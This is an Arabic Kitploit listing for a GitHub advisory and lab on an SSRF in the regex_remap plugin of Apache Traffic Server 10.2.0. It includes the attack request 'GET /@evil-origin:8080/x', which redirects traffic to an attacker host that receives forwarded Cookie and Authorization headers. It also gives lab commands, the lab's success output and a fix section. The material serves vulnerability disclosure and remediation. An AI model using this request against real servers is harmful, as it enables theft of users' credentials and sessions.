Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ats-regex-remap-userinfo — Apache Traffic Server 10.2.0 - عالية - عن بُعد - SSRF - regex_remap noslash $n استيلاء على الأصل عبر userinfo | Kitploit
أدوات/GitHubGitHub/abraxas/ats-regex-remap-userinfo
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويبمختبرات وتدريب عملي
GitHubabraxas/ats-regex-remap-userinfo

ats-regex-remap-userinfo

Apache Traffic Server 10.2.0 - عالية - عن بُعد - SSRF - regex_remap noslash $n استيلاء على الأصل عبر userinfo

عرض المستودع
منذ 15 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Abraxas Labs - ats-regex-remap-userinfo

abraxaslabs.tech  ·  github.com/abraxas  ·  @abraxas_null  ·  [email protected]  ·  ats-regex-remap-userinfo

ats-regex-remap-userinfo

الفئة: SSRF النطاق: عن بُعد

Apache Traffic Server 10.2.0 (b1df7334) - Apache Software Foundation

يُدمج استبدال $n في regex_remap داخل سلسلة نصية ثم يُمرَّر إلى TSUrlParse، الذي ينفّذ url_clear ثم يحلّلها كعنوان URL كامل. أي التقاط يبدأ بـ @ يُعدّ userinfo وفق RFC 3986، لذا يصبح أصل المشغّل userinfo ويصبح مضيف المهاجم هو الأصل. يُمرَّر Cookie وAuthorization بصفتهما ATS uid.

الباقي هو http://origin:port$1 (بدون شرطة مائلة). أما الصيغة الموثّقة http://origin/$1 فتبقى على أصل المشغّل لأن الشرطة المائلة تُنهي الـ authority. الإضافة غير محمّلة افتراضيًا.

هذه ليست CVE-2026-58179 (url_len VLA، أصبح الآن LocalBuffer) وليست CVE-2026-22068 (الـ regex_map الأساسي مُثبَّت بالكامل).

المعرّفلا يوجد CVE بعد
الفئةSSRF
النطاقعن بُعد (HTTP دون مصادقة)
CWECWE-918
CVSSعالٍ: 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
المنتجApache Traffic Server
المتأثر10.2.0 (b1df7334b39a878971c376da849e8da4984918b6) regex_remap.so بدون شرطة مائلة $n
المصادقةلا شيء. الإضافة محمّلة. الاستبدال http://origin:port$1.
الترخيصGNU Affero GPL v3.0
المختبر127.0.0.1:18730 فقط. الصورة ats-10.2.0-lab:local.

ثبّتُّ الوسم 10.2.0، والـ commit b1df7334b39a878971c376da849e8da4984918b6. صورة مبنية من المصدر.

ما يمكن للمهاجم فعله

HTTP دون مصادقة إلى vhost يحمّل remap الخاص به regex_remap.so مع $n مباشرة بعد host:port، دون شرطة مائلة.

الطريقةالهدفالصلاحية
GET /@evil-origin:8080/x مع الاستبدال http://good-origin:8080$1TSUrlParse بعد url_clear (regex_remap.cc:1159-1168، URL.cc:1313-1327)السلامة / SSRF (مُثبَت مختبريًا): يتصل ATS بـ evil-origin:8080 كأصل (userinfo=good-origin:8080). يُمرَّر Cookie وAuthorization.
نفسهجسم أصل المهاجمالاستطلاع (مُثبَت مختبريًا): يُعاد ATS-REGEX-REMAP-USERINFO-WITNESS إلى العميل. cookie-fwd=True authorization-fwd=True.
الاستبدال الموثّق http://good-origin:8080/$1تنتهي الـ authority عند /مغلق (مُثبَت مختبريًا): بقي على good-origin.
الاستبدال http://$1وضع المشغّل $n في الـ authoritySSRF (مُثبَت مختبريًا): وصل أيضًا إلى evil-origin. خطأ مشغّل مختلف.

مُثبَت مختبريًا مقابل مُستنتَج: الباقي بدون شرطة مائلة، والموثّق بشرطة مائلة يبقى، وdollar-at / dollar-host أيضًا evil، ويُمرَّر Cookie وAuthorization، والتحكم /ok على good-origin: مختبري. ما يمكن لأصل المهاجم فعله بهذه الترويسات هو ما يكون عليه ذلك المضيف أصلًا.

يتطلب: إضافة regex_remap. خريطة باستبدال http://origin:port$1 (بدون شرطة مائلة). بقي remap_required على 1 (ليس مرحّلًا مفتوحًا).

السطح المجاور الذي يبقى مغلقًا

السطحالمختبر
الموثّق http://origin/$1slash=good
مضيف regex_map الأساسيRE_ANCHORED|RE_ENDANCHORED (CVE-2026-22068 مغلق)
مكدّس url_lenLocalBuffer (CVE-2026-58179 مغلق)
مرحّل مفتوح remap_required: 0غير مستخدم
CONTROL GET /okgood-origin، دون witness

كيف وجدته

regex_remap يبني سلسلة dest من $n ويستدعي TSUrlParse على السلسلة بأكملها. URL.cc @ هو userinfo. ادمج http://good-origin:8080 + @evil-origin:8080/x والمحلل يفعل بالضبط ما تقوله RFC 3986.

جرّبت الشكل الموثّق أولاً. http://good-origin:8080/$1 مع المسار /@evil-origin:8080/x يصبح http://good-origin:8080/@evil-origin:8080/x. الشرطة المائلة تُنهي الـ authority. بقيت على good-origin. هذا ليس المتبقي.

ثم http://good-origin:8080$1 (بدون شرطة مائلة). Dest http://good-origin:8080@evil-origin:8080/x. userinfo=good-origin:8080 host=evil-origin. الشاهد على الأصل الخبيث. جاءت الكوكي وAuthorization معه.

منعطفات خاطئة: حفظ شكل الشرطة المائلة الموثّق؛ معاملة core regex_map على أنه هذا الـ plugin؛ تضخيم url_len VLA (مُرقّع)؛ معاملة http://$1 على أنه المتبقي الوحيد (إنه خطأ عامل ثانٍ، وليس خطأ عدم الشرطة المائلة).

المسرح: reverse shell. الـ oracle هو جسم أصل بالإضافة إلى Cookie / Authorization المُمرَّرة.

المختبر

python3 ats-regex-remap-userinfo-Abraxas-Labs.py

أو

cd lab
./run.sh

Loopback 127.0.0.1:18730 (الأصل الخبيث منشور أيضًا على 18731). مشروع Compose ats-regex-remap-userinfo. الصورة ats-10.2.0-lab:local. ثلاثة vhosts: slash / noslash / dollar. الشاهد ATS-REGEX-REMAP-USERINFO-WITNESS. السطر الأخير:

SUCCESS ats-regex-remap-userinfo shape=noslash leftover=noslash http://good-origin:8080$1 (userinfo=good-origin:8080 host=evil-origin) slash=good noslash=evil dollar-at=evil dollar-host=evil cookie-fwd=True authorization-fwd=True control=/ok ATS-REGEX-REMAP-USERINFO-WITNESS

الإصلاح

لا تُدمج $n في الـ authority. أبقِ شرطة مائلة بين المضيف والالتقاط، أو حلّل الـ subst كمسار فقط. ارفض أي dest لا يكون مضيفه هو أصل المشغّل. أزل userinfo من عناوين URL التي تبنيها الإضافة. يجب أن تتوقف الوثائق عن الإيحاء بأن http://origin/$1 هو الشكل الوحيد الذي يكتبه المشغّلون.

المراجع

  • github.com/apache/trafficserver وسم 10.2.0 (b1df7334b39a878971c376da849e8da4984918b6)
  • regex_remap.cc TSUrlParse بعد subst
  • URL.cc @ userinfo
  • InkAPI.cc TSUrlParse
  • CWE-918
تنزيل الأداة